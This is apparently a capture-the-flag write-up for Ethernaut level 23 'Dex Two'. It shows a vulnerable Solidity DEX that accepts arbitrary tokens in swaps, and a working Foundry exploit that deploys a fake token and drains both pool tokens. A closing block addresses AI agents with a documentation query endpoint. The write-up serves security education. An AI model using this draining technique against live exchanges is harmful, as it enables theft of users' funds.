# Level 23 - Dex Two ⏺⏺

{% embed url="<https://ethernaut.openzeppelin.com/level/23>" %}

### Level Setup

{% hint style="info" %}
As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the [ERC20 spec](https://eips.ethereum.org/EIPS/eip-20) does not mean it's trust worthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their `transfer` methods. See [Missing return value bug - At least 130 tokens affected](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca).

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.
{% endhint %}

### Level Contract

{% embed url="<https://github.com/OpenZeppelin/ethernaut/blob/a89c8f7832258655c09fde16e6602c78e5e99dbd/contracts/src/levels/DexTwo.sol>" %}

{% code lineNumbers="true" fullWidth="true" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}
```

{% endcode %}

{% tabs %}
{% tab title="Anvil" %}

```bash
make anvil-exploit-level-23

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}

{% tab title="Holesky" %}

```bash
make holesky-exploit-level-23

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
```

{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Exploit Contract" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/f4e23564cf080a22b4540cb7b0b01d0a5ed8c977/src/Level23.sol>" %}

{% code title="src/Level23.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// ================================================================
// │                        LEVEL 23 - DEX TWO                    │
// ================================================================
contract AttackToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("AttackToken", "ATK") {
        _mint(msg.sender, initialSupply);
    }
}
```

{% endcode %}
{% endtab %}

{% tab title="Exploit Deployment Script" %}
{% embed url="<https://github.com/EridianAlpha/ethernaut-foundry/blob/f4e23564cf080a22b4540cb7b0b01d0a5ed8c977/script/Level23.s.sol>" %}

{% code title="script/Level23.s.sol" %}

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackToken} from "src/Level23.sol";

// ================================================================
// │                        LEVEL 23 - DEX TWO                    │
// ================================================================
interface IDex {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function swap(address from, address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IDex dex = IDex(targetContractAddress);

        uint256 initialAtkSupply = 400;

        vm.startBroadcast();
        // Deploy AttackToken ATK
        AttackToken atk = new AttackToken(initialAtkSupply);

        // Transfer 100 ATK to DEX
        atk.transfer(targetContractAddress, 100);

        // Get token addresses
        address token1 = dex.token1();
        address token2 = dex.token2();

        // Approve DEX to spend ATK
        atk.approve(targetContractAddress, initialAtkSupply);

        // Swap tokens
        dex.swap(address(atk), token1, 100);
        dex.swap(address(atk), token2, 200);

        vm.stopBroadcast();
    }
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

Submit instance... 🥳

### Completion Message

{% hint style="info" %}
N/A
{% endhint %}

{% embed url="<https://github.com/nvnx7/ethernaut-openzeppelin-hacks/blob/e936301859334383d568a614084917100319205e/level_23_Dex-Two.md>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.eridian.xyz/ethereum-dev/defi-challenges/ethernaut/level-23-dex-two.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
